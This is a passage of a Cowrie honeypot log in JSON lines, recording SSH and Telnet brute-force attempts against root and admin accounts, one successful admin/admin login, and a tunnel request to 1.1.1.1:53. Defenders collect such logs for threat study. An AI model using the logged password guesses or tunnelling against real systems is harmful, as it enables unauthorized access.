{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:65:a9:d1:f3:ad:c8:37:e3:4d:3a:a3:39:88:8c:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDcaSUEKwig4qb2tCNQJcImjIWyY8J60mcmMsEK40QPtCD1aqSHd5eTxRoUT9aYiVN1UCLxM7ISqlaoLsPwtcnn89H4cEEeXmq7ncmbK35a69V6Uz/mLmnuttfp47QQrgezfCtCX1iXlf+oe9QcDldp/tkVJRHLzGZHWf2rps6m6+cUb6UWI7e1ao8HsDC09wtcsYFDNQyetXMB4uH4Fn32nt6Q9Vfkkum6fV6Gj4jsy1nHeUwB9gm6ByfJpOjuh9VFMiqKYXvs1a7rvuAKZZ9bEYhKe4Mf6xOIrBpbmGpKvOhR9Om34i56f7Kl83PSjT0iHMAeEAdLx2XqQFmayHIBYLGntYCfS1l3ARW8xRwHxRMmf7NgeMXO9EWznO8lsl+YZKQNF0qVZey24ZgzqfjMDHxgL/Asnm8Uzc+Ttgdw9KDM1tl9hPwJpBdUey/FAFfTZeRX9F3v2eZg9iv8YsMlwS0NXjEu1RYVkPFMJsAuiVEDUvim9MTL/WHopKqHkVaQ95LiikgYJPmCKyBdVaZR8NGA0E5tIuQVYslCbdRJFeScTL8u73RgJ7EltuYPBxZLTdQOxAzpe7xwNCzaoDHoRTMa6mzWGBHl5yHEeQvP98+aye8fVNZJQnzi7CKpnk2GFmtQ/d+Mh9QUWfupA22+UvOwdxnW7udTQwXDA4o2Xw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.269549Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:0a:7d:aa:6c:6c:9b:1e:4e:5f:96:2f:b4:d5:7a:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGiGxT8EHcndRvrB2iPdLJscZO82rkvo78nY9AvcT0oT4icsm4dOOH9HuHkVUanKvezJf8WSOo58SeS0VG27Qn6Tlge7cXzoIEnIp5EF+Jhxgc3fgOcJTBE+/H/NX1QXRB5J41EjM879XLcx4phynhOF3NPjqbWiHpVHuFJrVaP1+7cvh8kakDwxJMdBvowCw8WPCkBkaz2RWtx9pybzl27tUvuLAmrwskQfuXzidkumUIXZXl2/NI8Z3MnkT/mXb4wrAJ6myZo8dyZovCXmXt12wFrDdNkyxPf8A6xnROIUP2+1dStiuTLYGuMFyRo9AOPwViRBE3AOKxSeje2F3X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:0a:7d:aa:6c:6c:9b:1e:4e:5f:96:2f:b4:d5:7a:f0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.298084Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:0a:7d:aa:6c:6c:9b:1e:4e:5f:96:2f:b4:d5:7a:f0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGiGxT8EHcndRvrB2iPdLJscZO82rkvo78nY9AvcT0oT4icsm4dOOH9HuHkVUanKvezJf8WSOo58SeS0VG27Qn6Tlge7cXzoIEnIp5EF+Jhxgc3fgOcJTBE+/H/NX1QXRB5J41EjM879XLcx4phynhOF3NPjqbWiHpVHuFJrVaP1+7cvh8kakDwxJMdBvowCw8WPCkBkaz2RWtx9pybzl27tUvuLAmrwskQfuXzidkumUIXZXl2/NI8Z3MnkT/mXb4wrAJ6myZo8dyZovCXmXt12wFrDdNkyxPf8A6xnROIUP2+1dStiuTLYGuMFyRo9AOPwViRBE3AOKxSeje2F3X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.302292Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:10:c9:fd:61:1d:08:e9:9e:34:48:97:e1:32:ce:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDThAxacGTY67a+JtclNlemVPG1iYfClSLLv4Ao5qw+EXK0yhhVh+lbZaa/0vMM0krbhriB5n73N7jm8DiZxc0doNHPB14j7+gcWEP7CDUfl9Q5w/8XrvbfxQOsSrbc9Sd6ABYOmQxXx71WSrG6fyaEiPiYksohDJwijV+cPw+aPG0DR4zq/YIiMgS8Wt8LECzzPmpOIhzPnqKODrgH+svSxV9/JExffchLOQOyGZi7CjzhTccBAHDAQHsLEyzmDomv9ryJ2d12UZSDDKaudO/IEDQU6RyGARPPC6No7k55Xa643DfTf2a24sodf2sZHRJ6sc9Cv5Qrk73QALFSyRCj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:10:c9:fd:61:1d:08:e9:9e:34:48:97:e1:32:ce:16","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.330689Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:10:c9:fd:61:1d:08:e9:9e:34:48:97:e1:32:ce:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDThAxacGTY67a+JtclNlemVPG1iYfClSLLv4Ao5qw+EXK0yhhVh+lbZaa/0vMM0krbhriB5n73N7jm8DiZxc0doNHPB14j7+gcWEP7CDUfl9Q5w/8XrvbfxQOsSrbc9Sd6ABYOmQxXx71WSrG6fyaEiPiYksohDJwijV+cPw+aPG0DR4zq/YIiMgS8Wt8LECzzPmpOIhzPnqKODrgH+svSxV9/JExffchLOQOyGZi7CjzhTccBAHDAQHsLEyzmDomv9ryJ2d12UZSDDKaudO/IEDQU6RyGARPPC6No7k55Xa643DfTf2a24sodf2sZHRJ6sc9Cv5Qrk73QALFSyRCj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.334949Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:37:13:93:ba:44:fc:f0:93:a6:34:b0:c9:c1:3b:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKV0qyRfK6+FcwV+1Pulstrl1FfWPdoqIavQHspex8Heltor2pmjH5EQ0L6Z6P6GaaYm7PSB8N6tG+ikJAFl5pJ3kB+RO5CHaxBBz5618hkq+SYV9Ly5iJbktQ5yOFhVGYA5VHJ65LWpXDyfWClw4LTuEHwqxOxq6wdrb5faMk4M2098HhTxW7EYPYqy96FeS4LF0ymzwexUSE8ldK0EYAeJycFU/lCc0JN9TD0re6bZTa8jAm8gQSw7TI/5V9aKDxXv+lHY58g3/VkDtP2vAdFE56uBBg0zK3bBpt3jNckJvr0ZSdK6IhUCTmarb9T850d0Mc1W7O/3LebiL9E7sz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:37:13:93:ba:44:fc:f0:93:a6:34:b0:c9:c1:3b:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.363510Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:37:13:93:ba:44:fc:f0:93:a6:34:b0:c9:c1:3b:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKV0qyRfK6+FcwV+1Pulstrl1FfWPdoqIavQHspex8Heltor2pmjH5EQ0L6Z6P6GaaYm7PSB8N6tG+ikJAFl5pJ3kB+RO5CHaxBBz5618hkq+SYV9Ly5iJbktQ5yOFhVGYA5VHJ65LWpXDyfWClw4LTuEHwqxOxq6wdrb5faMk4M2098HhTxW7EYPYqy96FeS4LF0ymzwexUSE8ldK0EYAeJycFU/lCc0JN9TD0re6bZTa8jAm8gQSw7TI/5V9aKDxXv+lHY58g3/VkDtP2vAdFE56uBBg0zK3bBpt3jNckJvr0ZSdK6IhUCTmarb9T850d0Mc1W7O/3LebiL9E7sz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.367804Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:af:68:b1:9b:7a:e6:6f:26:18:c5:6e:7b:8d:ef:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1lZzIPMTxlJCSVa54ObWRFW0wAJa/w8qZQ5LXoctketZiLOiILQMt3x1ryS9C1Hl3pcuzyrbcb2TnZo/2q8nd0aZkVNOLL43Ej0FoZUuNu9zNK3bTJQ7/25dhJqt3fl/n3xHSmU8AJjD0v0Cx+HKGurSwnjQQyvZCfWkVqU9vJnQVxvhtRcHeo5uk5gmRf4QOxaADN1wZ8KCwC31mn/vRThulJqhntwOk3Qg12pU5qUBqlycEOhOwbqHJzkpuYbItNH+g+BhNyLfiWum7cozAeJ3xS8eHa4KX9Jue3t9t037PwlFkNYqSg36ToVIYzo29xuvVDEbpWlIRCdTaqJbp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:af:68:b1:9b:7a:e6:6f:26:18:c5:6e:7b:8d:ef:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.396907Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:af:68:b1:9b:7a:e6:6f:26:18:c5:6e:7b:8d:ef:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1lZzIPMTxlJCSVa54ObWRFW0wAJa/w8qZQ5LXoctketZiLOiILQMt3x1ryS9C1Hl3pcuzyrbcb2TnZo/2q8nd0aZkVNOLL43Ej0FoZUuNu9zNK3bTJQ7/25dhJqt3fl/n3xHSmU8AJjD0v0Cx+HKGurSwnjQQyvZCfWkVqU9vJnQVxvhtRcHeo5uk5gmRf4QOxaADN1wZ8KCwC31mn/vRThulJqhntwOk3Qg12pU5qUBqlycEOhOwbqHJzkpuYbItNH+g+BhNyLfiWum7cozAeJ3xS8eHa4KX9Jue3t9t037PwlFkNYqSg36ToVIYzo29xuvVDEbpWlIRCdTaqJbp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.403569Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:18.432948Z","src_ip":"154.16.115.163","session":"25926c10b2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.451884984970093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:36.085545Z","src_ip":"208.92.193.123","session":"e92f4599aa56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.00271964073181,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:41:41.388316Z","src_ip":"194.180.12.23","session":"95fc00a647e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":56473,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bf9ab85f304","protocol":"ssh","message":"New connection: 2.57.121.112:56473 (10.17.0.5:22) [session: 5bf9ab85f304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:08.554937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:08.559586Z","src_ip":"2.57.121.112","session":"5bf9ab85f304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:08.656600Z","src_ip":"2.57.121.112","session":"5bf9ab85f304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nagual","message":"login attempt [admin/nagual] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:09.121093Z","src_ip":"2.57.121.112","session":"5bf9ab85f304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"myopia","message":"login attempt [admin/myopia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:10.220482Z","src_ip":"2.57.121.112","session":"5bf9ab85f304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"my3girls","message":"login attempt [admin/my3girls] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:11.320941Z","src_ip":"2.57.121.112","session":"5bf9ab85f304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"my2kids","message":"login attempt [admin/my2kids] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:12.421578Z","src_ip":"2.57.121.112","session":"5bf9ab85f304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"mutt","message":"login attempt [admin/mutt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:13.521828Z","src_ip":"2.57.121.112","session":"5bf9ab85f304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:14.625916Z","src_ip":"2.57.121.112","session":"5bf9ab85f304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":2902,"dst_ip":"10.17.0.5","dst_port":23,"session":"937b9794a9cb","protocol":"telnet","message":"New connection: 212.55.149.117:2902 (10.17.0.5:23) [session: 937b9794a9cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:22.082968Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2342,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e39aadc5ca5","protocol":"ssh","message":"New connection: 87.251.64.176:2342 (10.17.0.5:22) [session: 5e39aadc5ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:51.101937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:51.106759Z","src_ip":"87.251.64.176","session":"5e39aadc5ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:51.211793Z","src_ip":"87.251.64.176","session":"5e39aadc5ca5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:51.508884Z","src_ip":"87.251.64.176","session":"5e39aadc5ca5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:51.615686Z","session":"5e39aadc5ca5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:51.714280Z","src_ip":"87.251.64.176","session":"5e39aadc5ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:42:51.813479Z","src_ip":"87.251.64.176","session":"5e39aadc5ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.35240578651428,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:23.435269Z","src_ip":"212.55.149.117","session":"937b9794a9cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":46322,"dst_ip":"10.17.0.5","dst_port":23,"session":"3971ffcb8c99","protocol":"telnet","message":"New connection: 103.153.183.192:46322 (10.17.0.5:23) [session: 3971ffcb8c99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:33.853435Z"}
{"eventid":"cowrie.session.closed","duration":0.006333112716674805,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:33.859644Z","src_ip":"103.153.183.192","session":"3971ffcb8c99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":40382,"dst_ip":"159.203.135.109","dst_port":22,"session":"741838dcdae4","protocol":"ssh","message":"New connection: 193.24.211.100:40382 (159.203.135.109:22) [session: 741838dcdae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:41.021141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:41.026959Z","src_ip":"193.24.211.100","session":"741838dcdae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:41.135659Z","src_ip":"193.24.211.100","session":"741838dcdae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"golden","message":"login attempt [root/golden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:41.560436Z","src_ip":"193.24.211.100","session":"741838dcdae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:42.672660Z","src_ip":"193.24.211.100","session":"741838dcdae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34622,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7c50e0bd150","protocol":"ssh","message":"New connection: 103.15.226.202:34622 (10.17.0.5:22) [session: f7c50e0bd150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:44.903122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:44.908400Z","src_ip":"103.15.226.202","session":"f7c50e0bd150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-